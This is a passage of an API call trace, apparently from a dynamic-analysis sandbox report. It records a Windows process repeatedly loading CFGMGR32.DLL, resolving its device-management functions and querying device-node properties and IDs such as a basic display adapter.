lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0218.714] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0218.714] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0218.715] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0218.715] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0218.715] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0218.715] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0218.715] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0218.715] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0218.716] malloc (_Size=0x18) returned 0x196ef0d1de0 [0218.716] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x10, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0218.716] malloc (_Size=0x48) returned 0x196ef0fc170 [0218.716] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6337944f, dwHighDateTime=0x1d9eb0c)) [0218.716] SetEvent (hEvent=0x248) returned 1 [0218.720] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0218.720] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0218.720] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0218.720] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0218.741] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0218.741] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0218.742] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0218.742] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0218.742] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0218.742] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0218.742] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0218.743] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0218.743] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0218.743] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0218.743] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0218.743] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0218.743] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0218.743] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0218.744] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0218.744] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0218.744] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0218.744] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0218.744] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0218.745] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0218.745] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x10, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0218.745] malloc (_Size=0x48) returned 0x196ef0fba90 [0218.745] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x633c5975, dwHighDateTime=0x1d9eb0c)) [0218.746] SetEvent (hEvent=0x248) returned 1 [0219.076] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0219.076] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0219.077] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0219.077] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0219.077] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0219.077] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0219.077] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0219.077] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0219.077] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0219.078] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0219.078] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0219.078] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0219.078] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0219.078] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0219.078] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0219.078] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0219.079] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0219.079] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0219.079] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0219.079] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0219.079] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0219.079] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0219.080] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0219.080] malloc (_Size=0x18) returned 0x196ef0d1d60 [0219.080] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x10, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0219.081] malloc (_Size=0x48) returned 0x196ef0fba40 [0219.081] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6370ce03, dwHighDateTime=0x1d9eb0c)) [0219.081] SetEvent (hEvent=0x248) returned 1 [0219.087] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0219.087] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0219.087] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0219.087] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0219.088] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0219.088] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0219.088] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0219.088] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0219.088] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0219.088] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0219.089] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0219.089] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0219.089] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0219.089] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0219.089] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0219.089] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0219.089] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0219.089] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0219.090] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0219.090] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0219.090] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0219.090] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0219.090] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0219.090] malloc (_Size=0x18) returned 0x196ef0d1de0 [0219.091] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x10, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0219.094] malloc (_Size=0x48) returned 0x196ef0fbe50 [0219.094] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6370ce03, dwHighDateTime=0x1d9eb0c)) [0219.095] SetEvent (hEvent=0x248) returned 1 [0219.098] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0219.098] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0219.098] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0219.098] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0219.098] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0219.099] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0219.099] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0219.099] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0219.099] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0219.099] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0219.099] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0219.100] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0219.100] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0219.100] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0219.100] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0219.100] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0219.100] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0219.101] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0219.101] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0219.101] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0219.101] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0219.101] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0219.101] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0219.101] malloc (_Size=0x18) returned 0x196ef0d1de0 [0219.102] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x10, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0219.102] malloc (_Size=0x48) returned 0x196ef0fbe00 [0219.102] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x63733069, dwHighDateTime=0x1d9eb0c)) [0219.102] SetEvent (hEvent=0x248) returned 1 [0219.106] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0219.106] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0219.107] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0219.107] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0219.107] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0219.107] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0219.107] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0219.107] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0219.108] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0219.108] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0219.108] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0219.108] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0219.108] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0219.108] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0219.108] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0219.108] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0219.109] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0219.109] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0219.109] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0219.109] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0219.109] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0219.109] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0219.109] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0219.110] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0219.110] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x10, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0219.110] malloc (_Size=0x48) returned 0x196ef0fb770 [0219.110] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x63733069, dwHighDateTime=0x1d9eb0c)) [0219.110] SetEvent (hEvent=0x248) returned 1 [0219.114] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0219.114] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0219.114] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0219.114] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0219.114] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0219.114] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0219.114] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0219.115] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0219.115] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0219.115] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0219.115] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0219.115] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0219.115] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0219.116] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0219.116] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0219.116] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0219.116] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0219.116] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0219.116] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0219.116] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0219.117] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0219.117] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0219.117] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0219.117] malloc (_Size=0x18) returned 0x196ef0d20c0 [0219.117] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x10, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0219.118] malloc (_Size=0x48) returned 0x196ef0fbc70 [0219.118] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x63759239, dwHighDateTime=0x1d9eb0c)) [0219.118] SetEvent (hEvent=0x248) returned 1 [0219.195] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0219.195] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0219.195] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0219.195] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0219.196] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0219.196] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0219.196] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0219.196] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0219.196] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0219.196] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0219.196] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0219.197] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0219.197] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0219.197] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0219.197] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0219.197] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0219.197] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0219.197] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0219.198] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0219.198] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0219.198] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0219.198] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0219.198] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0219.198] malloc (_Size=0x18) returned 0x196ef0d20e0 [0219.199] CM_Get_Device_IDA (in: dnDevInst=0x11, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\BASICDISPLAY\\0000") returned 0x0 [0219.199] malloc (_Size=0x48) returned 0x196ef0fc170 [0219.199] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x63817dfe, dwHighDateTime=0x1d9eb0c)) [0219.199] SetEvent (hEvent=0x248) returned 1 [0219.202] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0219.202] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0219.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0219.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0219.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0219.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0219.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0219.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0219.204] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0219.204] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0219.204] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0219.204] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0219.204] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0219.205] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0219.205] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0219.205] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0219.205] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0219.205] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0219.205] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0219.206] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0219.206] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0219.206] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0219.206] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0219.206] malloc (_Size=0x18) returned 0x196ef0d1ae0 [0219.206] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x11, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0219.207] malloc (_Size=0x26) returned 0x196ef0f9dc0 [0219.207] CM_Get_DevNode_Registry_PropertyW (in: 